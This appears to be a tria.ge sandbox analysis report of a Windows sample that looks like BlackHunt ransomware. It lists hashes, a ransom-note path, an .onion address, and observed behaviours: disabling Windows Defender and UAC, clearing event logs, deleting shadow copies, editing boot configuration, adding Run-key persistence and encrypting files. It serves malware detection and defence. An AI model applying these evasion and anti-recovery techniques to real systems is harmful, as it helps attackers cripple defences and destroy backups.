Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
119s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 22:23
Static task
static1
Behavioral task
behavioral1
Sample
04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe
Resource
win10v2004-20231222-en
General
-
Target
04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe
-
Size
707KB
-
MD5
36a56d7bf7064812c1e2c646d5edc793
-
SHA1
e7fe41e938f211e2c3ae923bfdfc3bfca8ebe124
-
SHA256
04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4
-
SHA512
b7601ad63b6eb098867e24063b8051a0002f34a6eaccefaac1a175fdbee232d55ad49da9c33bb2bbad2fffc3c998606488a309d2f17084dbafcb655a41cb29e5
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1n8nvnh:6uaTmkZJ+naie5OTamgEoKxLWuvh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 2460 fsutil.exe 2368 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 2512 wevtutil.exe 2428 wevtutil.exe 2256 wevtutil.exe 2096 wevtutil.exe 2892 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 2740 bcdedit.exe 2912 bcdedit.exe 1276 bcdedit.exe 2528 bcdedit.exe -
Renames multiple (2875) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 932 wbadmin.exe 1264 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Deletes itself 1 IoCs
pid Process 1984 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\U: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\P: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\A: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\H: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\M: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\R: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\T: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\L: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\X: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Q: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\E: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\N: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\G: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\B: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\S: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\Z: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\W: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\K: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\O: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\J: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\V: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\Y: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\I: 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\M: fsutil.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Dili 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\title.htm 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.docs_5.5.0.165303.jar 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\#BlackHunt_ReadMe.txt 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\#BlackHunt_ReadMe.txt 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationUp_SelectionSubpicture.png 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\#BlackHunt_ReadMe.hta 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jre7\lib\accessibility.properties 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\VideoLAN\VLC\plugins\audio_filter\#BlackHunt_Private.key 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Omsk 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Pitcairn 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\Java\jre7\lib\deploy\#BlackHunt_Private.key 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Manila 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.txt 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_Private.key 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jre7\lib\rt.jar 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-7 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\VideoLAN\VLC\locale\lg\#BlackHunt_Private.key 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\VideoLAN\VLC\locale\lt\#BlackHunt_Private.key 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\VideoLAN\VLC\plugins\misc\#BlackHunt_Private.key 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\#BlackHunt_Private.key 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\Java\jdk1.7.0_80\#BlackHunt_ReadMe.txt 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\#BlackHunt_ReadMe.hta 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_preferencestyle.css 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-attach_ja.jar 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Yakutsk 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMainMask.wmv 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.repository.nl_ja_4.4.0.v20140623020002.jar 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Bangkok 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\VideoLAN\VLC\locale\ja\#BlackHunt_ReadMe.txt 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\VideoLAN\VLC\locale\mai\#BlackHunt_ReadMe.hta 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\acro20.lng 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\Xusage.txt 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\DumontDUrville 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-swing-outline_zh_CN.jar 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\#BlackHunt_Private.key 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Vilnius 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\about.html 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\mailapi.jar 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\#BlackHunt_ReadMe.txt 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\vlc-48.png 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\VideoLAN\VLC\plugins\services_discovery\#BlackHunt_Private.key 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\META-INF\#BlackHunt_ReadMe.hta 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\css\#BlackHunt_Private.key 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Panama 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\#BlackHunt_Private.key 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\jawt.h 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\org-openide-filesystems_zh_CN.jar 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-spi-quicksearch_ja.jar 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-threaddump.xml 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_Private.key 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\VideoLAN\VLC\locale\ml\#BlackHunt_Private.key 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\VideoLAN\VLC\plugins\keystore\#BlackHunt_ReadMe.txt 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files (x86)\MSBuild\Microsoft.Office.InfoPath.targets 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\#BlackHunt_ReadMe.txt 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\#BlackHunt_ReadMe.txt 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.attach.ja_5.5.0.165303.jar 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.txt 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\#BlackHunt_Private.key 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationRight_SelectionSubpicture.png 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\EET 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2524 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1020 vssadmin.exe 968 vssadmin.exe 2856 vssadmin.exe 2844 vssadmin.exe 2632 vssadmin.exe 1796 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 2784 taskkill.exe -
Modifies registry class 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1956 PING.EXE -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe Token: SeRestorePrivilege 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe Token: SeBackupPrivilege 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe Token: SeTakeOwnershipPrivilege 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe Token: SeAuditPrivilege 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe Token: SeSecurityPrivilege 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe Token: SeIncBasePriorityPrivilege 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe Token: SeBackupPrivilege 2904 vssvc.exe Token: SeRestorePrivilege 2904 vssvc.exe Token: SeAuditPrivilege 2904 vssvc.exe Token: SeBackupPrivilege 2108 wbengine.exe Token: SeRestorePrivilege 2108 wbengine.exe Token: SeSecurityPrivilege 2108 wbengine.exe Token: SeSecurityPrivilege 2892 wevtutil.exe Token: SeBackupPrivilege 2892 wevtutil.exe Token: SeSecurityPrivilege 2512 wevtutil.exe Token: SeBackupPrivilege 2512 wevtutil.exe Token: SeSecurityPrivilege 2096 wevtutil.exe Token: SeBackupPrivilege 2096 wevtutil.exe Token: SeSecurityPrivilege 2256 wevtutil.exe Token: SeBackupPrivilege 2256 wevtutil.exe Token: SeSecurityPrivilege 2428 wevtutil.exe Token: SeBackupPrivilege 2428 wevtutil.exe Token: SeDebugPrivilege 2784 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2184 wrote to memory of 2700 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 29 PID 2184 wrote to memory of 2700 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 29 PID 2184 wrote to memory of 2700 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 29 PID 2184 wrote to memory of 2700 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 29 PID 2184 wrote to memory of 2676 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 30 PID 2184 wrote to memory of 2676 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 30 PID 2184 wrote to memory of 2676 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 30 PID 2184 wrote to memory of 2676 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 30 PID 2184 wrote to memory of 2784 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 125 PID 2184 wrote to memory of 2784 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 125 PID 2184 wrote to memory of 2784 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 125 PID 2184 wrote to memory of 2784 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 125 PID 2184 wrote to memory of 2828 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 35 PID 2184 wrote to memory of 2828 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 35 PID 2184 wrote to memory of 2828 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 35 PID 2184 wrote to memory of 2828 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 35 PID 2184 wrote to memory of 2724 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 36 PID 2184 wrote to memory of 2724 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 36 PID 2184 wrote to memory of 2724 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 36 PID 2184 wrote to memory of 2724 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 36 PID 2184 wrote to memory of 2980 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 38 PID 2184 wrote to memory of 2980 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 38 PID 2184 wrote to memory of 2980 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 38 PID 2184 wrote to memory of 2980 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 38 PID 2184 wrote to memory of 2580 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 39 PID 2184 wrote to memory of 2580 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 39 PID 2184 wrote to memory of 2580 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 39 PID 2184 wrote to memory of 2580 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 39 PID 2184 wrote to memory of 2688 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 43 PID 2184 wrote to memory of 2688 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 43 PID 2184 wrote to memory of 2688 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 43 PID 2184 wrote to memory of 2688 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 43 PID 2184 wrote to memory of 2796 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 41 PID 2184 wrote to memory of 2796 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 41 PID 2184 wrote to memory of 2796 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 41 PID 2184 wrote to memory of 2796 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 41 PID 2184 wrote to memory of 2960 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 136 PID 2184 wrote to memory of 2960 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 136 PID 2184 wrote to memory of 2960 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 136 PID 2184 wrote to memory of 2960 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 136 PID 2184 wrote to memory of 2744 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 48 PID 2184 wrote to memory of 2744 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 48 PID 2184 wrote to memory of 2744 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 48 PID 2184 wrote to memory of 2744 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 48 PID 2184 wrote to memory of 2740 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 130 PID 2184 wrote to memory of 2740 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 130 PID 2184 wrote to memory of 2740 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 130 PID 2184 wrote to memory of 2740 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 130 PID 2184 wrote to memory of 1716 2184 04c721dc8641c738f2df7ae45dac3ee02bec1f0fe3f39a692168052a724d33e4.exe 52 PID 2184 wrote to memory of 1716 2184 